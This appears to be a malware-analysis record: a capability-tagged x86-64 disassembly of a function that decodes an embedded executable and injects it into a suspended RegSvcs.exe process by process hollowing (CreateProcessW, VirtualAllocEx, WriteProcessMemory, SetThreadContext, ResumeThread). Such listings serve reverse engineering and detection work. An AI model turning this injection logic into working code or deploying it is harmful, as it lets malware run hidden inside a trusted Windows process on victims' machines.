Function at 0x140002040
Capabilities:
Terminate process
Use process replacement

Disassembly:
jmp 0x140006f30
push rsi
push rdi
mov eax, 0x17f8
call fcn.1400017d0
sub rsp, rax
mov rax, qword [0x14018d5b0]
xor rax, rsp
mov qword [rsp + 0x17e0], rax
mov r9d, 0xd
lea r8, section..data
mov edx, 0xdd200
lea rcx, [0x140084010]
call fcn.1400032e2
lea rax, [0x140084010]
mov qword [0x14018e738], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [0x14018e720]
call fcn.140003049
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14018e740]
call fcn.140003049
lea rax, [rsp + 0x550]
lea rcx, str.C:WindowsMicrosoft.NETFramework64_v4.0.30319RegSvcs.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x78
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x1208
xor edx, edx
lea rcx, [rsp + 0x5d0]
call fcn.140003049
lea rcx, [rsp + 0x550]
call fcn.1400012e9
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
add rax, rax
mov r8, rax
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x5d0]
call fcn.14000254f
mov eax, 0x20
mov rcx, qword [rsp + 0x68]
mov word [rsp + rcx*2 + 0x5d0], ax
mov rax, qword [rsp + 0x68]
lea rax, [rsp + rax*2 + 0x5d2]
mov r8, qword [0x14018e718]
mov rdx, qword [0x14018e710]
mov rcx, rax
call fcn.14000254f
mov rax, qword [0x14018e738]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x14018e738]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [0x14018e720]
mov qword [rsp + 0x48], rax
lea rax, [0x14018e740]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x5d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400070c3
mov eax, 0xfffffffd
jmp 0x140007349
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140003049
mov dword [rsp + 0xb0], 0x10000b
lea rdx, [rsp + 0x80]
mov rcx, qword [0x14018e728]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140007118
mov edx, 0xfffffffc
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffc
jmp 0x140007349
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 0x30]
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140007170
mov edx, 0xfffffffb
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffb
jmp 0x140007349
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [0x14018e738]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400071bd
mov edx, 0xfffffffa
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffa
jmp 0x140007349
mov qword [rsp + 0x60], 0
jmp 0x1400071d5
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp qword [rsp + 0x60], rax
jae 0x140007283
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x14018e738]
add rcx, rax
mov rax, rcx
imul rcx, qword [rsp + 0x60], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [0x14018e738]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x70]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x58]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000727e
mov edx, 0xfffffff9
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff9
jmp 0x140007349
jmp 0x1400071c8
mov rax, qword [rsp + 0x108]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400072d0
mov edx, 0xfffffff8
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff8
jmp 0x140007349
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x80]
mov rcx, qword [0x14018e728]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14000731d
mov edx, 0xfffffff7
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff7
jmp 0x140007349
mov rcx, qword [0x14018e728]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x140007347
mov edx, 0xfffffff6
mov rcx, qword [0x14018e720]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff6
jmp 0x140007349
xor eax, eax
mov rcx, qword [rsp + 0x17e0]
xor rcx, rsp
call fcn.14000254a
add rsp, 0x17f8
pop rdi
pop rsi
ret